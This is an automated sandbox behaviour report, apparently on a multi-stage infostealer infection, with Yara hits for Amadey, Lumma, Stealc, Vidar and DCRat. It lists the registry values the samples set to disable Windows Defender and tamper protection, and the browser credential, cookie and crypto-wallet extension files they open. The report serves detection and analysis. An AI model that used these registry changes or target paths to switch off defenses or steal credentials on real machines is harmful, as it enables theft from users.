Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00CFCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00CFCBEA

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe

Code function: 9_2_00BAB146 GetVersionExW,

9_2_00BAB146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1016096001\4007342d09.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 376a884392.exe, 376a884392.exe, 0000000C.00000003.2601383684.0000000001020000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2630658246.0000000001020000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573363298.0000000001020000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe, 0000000C.00000003.2573792421.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3045694998.0000000000FB5000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3151012786.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029218146.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3150907324.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3149199799.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp, 376a884392.exe.exe, 0000001A.00000003.3029567766.0000000000F4B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 2.2.skotes.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.1597940667.0000000004A60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1550039277.0000000005330000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1585485486.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2092338241.0000000005100000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1638466154.0000000000971000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1590289957.0000000000CE1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 897a67bb94.exe PID: 3220, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected DCRat

Source: Yara match	File source: 00000010.00000002.2680511643.0000000013557000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: BrokerhostNet.exe PID: 4632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MCdUWiJkswOzRL.exe PID: 5956, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 376a884392.exe PID: 6788, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 376a884392.exe.exe PID: 4232, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 9.3.muNJF0r.exe.73d570a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.BrokerhostNet.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000000.2464502971.0000000000EE2000.00000002.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.2226609838.0000000007387000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Bridgecontainerserver\BrokerhostNet.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 0000002E.00000003.2725067964.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2493573409.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 91a3357555.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 91a3357555.exe.exe PID: 5172, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected zgRAT

Source: Yara match	File source: 9.3.muNJF0r.exe.73d570a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.BrokerhostNet.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.muNJF0r.exe.6ac270a.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Bridgecontainerserver\BrokerhostNet.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 376a884392.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 376a884392.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: 376a884392.exe	String found in binary or memory: Wallets/JAXX New Version
Source: 376a884392.exe	String found in binary or memory: window-state.json
Source: 376a884392.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 376a884392.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 376a884392.exe	String found in binary or memory: %appdata%\Ethereum
Source: 376a884392.exe, 0000000C.00000003.2543605899.0000000000FAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: muNJF0r.exe, 00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data-journal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
